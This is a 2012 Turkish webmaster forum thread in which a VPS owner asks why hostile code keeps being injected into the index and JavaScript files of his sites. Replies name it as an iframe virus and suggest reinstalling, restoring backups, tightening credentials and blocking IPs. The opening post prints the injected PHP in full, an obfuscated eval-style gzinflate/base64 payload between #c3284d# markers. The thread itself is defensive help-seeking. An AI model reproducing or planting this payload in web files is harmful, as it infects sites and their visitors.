Ücretli VPS Antivürs vs. Güvenlik Sağlayacak Varmı?

06-08-2012, 16:50:59

Arkadaşlar selamlar. Şöyle bir sıkıntı yaşıyorum. Mevcut VPS' imde Plesk'in en güncel sürümü yüklü. Linux VPS kullanmaktayım. Mevcut sitelerime sürekli bir yerlerden özellikle index ile başlayan dosyalarıma ve js. dosyalarına aşağıdaki kod ekleniyor. Silmekten bıktım. Yaklaşık 35 adet sitem var ve 20 tanesine sürekli gelmekte. Bu sorunu nasıl çözebilirim. Gerekirse ücreti karşılılığı VPS' ime sıkı bir güvenlik önlemi alabileceğim birkaç yazılım yükletmek istiyorum. Yardımcı olabilirseniz çok sevinirim. Ancak öncelikle şu sorunun kaynağını bulmak istiyorum. Bu kod nereden geliyor, nasıl ekliyor. Yardımcı olabileceklere şimdiden teşekkürler.

#c3284d#
echo(gzinflate(base64_decode("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")));
#/c3284d#

11-08-2012, 04:27:31

#2

tosunpasa

r10 veri kaybı olmadan önce bu konu açılmış ve bir çok arkadaşlarımız bilgi paylaşımında bulunmuş idi

benzer sorunu bende smf ve joomla script lerimde yaşadım

rus kökenli iframe virüsü..

hosting sorunu kabul etmedi ve sql incjection ile entegre edildiğini söyledi.. tabi bunun yapılabilmesi için gerekli şartlar neydi bilmiyorum
aynı host da 3 yıldır aynı script ler sorun yaşamadan duruyor idi

çözümler...

*******elle update edilmiş dosyalar içinden bu satırları silmek.. kiii.... çok fazla alt dizin varsa baya uzun sürecektir.. pek tavsiye etmem.. yaptım.. 1 saat den fazla sürdü... emin de olamadım..******
1) script in yeniden ve güncel halini kurmak. çok fazla belirsiz kaynaklı eklenti eklememek.
2) backup dan script dönüşü yapmak (veri kaybı oldu ise db yi de dönebilirsin)
3) boş subdomain, index dosyası olmayan alt dizinler, çok basit erişim bilgileri = root / 123456 gibi... remote sql erişimi.. kaldırmak..
4) ve .htaccess içerisine bazı site ve ip ler bloke ettirmek ki.... bu baya uzun bir dosya idi.. yeniden hacklenme sebebi ile bu listeyi kaybettim

uzman arkadaşlardan daha detaylı yönlendirmeleri kendim için de bekliyorum

hatam varsa da düzeltmelerini rica ediyorum
11-08-2012, 13:16:20

#3

sysadmin

detaylı inceleyerek ücret dahilinde yardımcı olabilirim
14-08-2012, 13:47:27

#4

quietman

tosunpasa adlı üyeden alıntı: mesajı görüntüle

r10 veri kaybı olmadan önce bu konu açılmış ve bir çok arkadaşlarımız bilgi paylaşımında bulunmuş idi
benzer sorunu bende smf ve joomla script lerimde yaşadım
rus kökenli iframe virüsü..
hosting sorunu kabul etmedi ve sql incjection ile entegre edildiğini söyledi.. tabi bunun yapılabilmesi için gerekli şartlar neydi bilmiyorum
aynı host da 3 yıldır aynı script ler sorun yaşamadan duruyor idi
çözümler...
*******elle update edilmiş dosyalar içinden bu satırları silmek.. kiii.... çok fazla alt dizin varsa baya uzun sürecektir.. pek tavsiye etmem.. yaptım.. 1 saat den fazla sürdü... emin de olamadım..******
1) script in yeniden ve güncel halini kurmak. çok fazla belirsiz kaynaklı eklenti eklememek.
2) backup dan script dönüşü yapmak (veri kaybı oldu ise db yi de dönebilirsin)
3) boş subdomain, index dosyası olmayan alt dizinler, çok basit erişim bilgileri = root / 123456 gibi... remote sql erişimi.. kaldırmak..
4) ve .htaccess içerisine bazı site ve ip ler bloke ettirmek ki.... bu baya uzun bir dosya idi.. yeniden hacklenme sebebi ile bu listeyi kaybettim
uzman arkadaşlardan daha detaylı yönlendirmeleri kendim için de bekliyorum
hatam varsa da düzeltmelerini rica ediyorum

İlgine çok teşekkür ediyorum sevgili tosunpasa.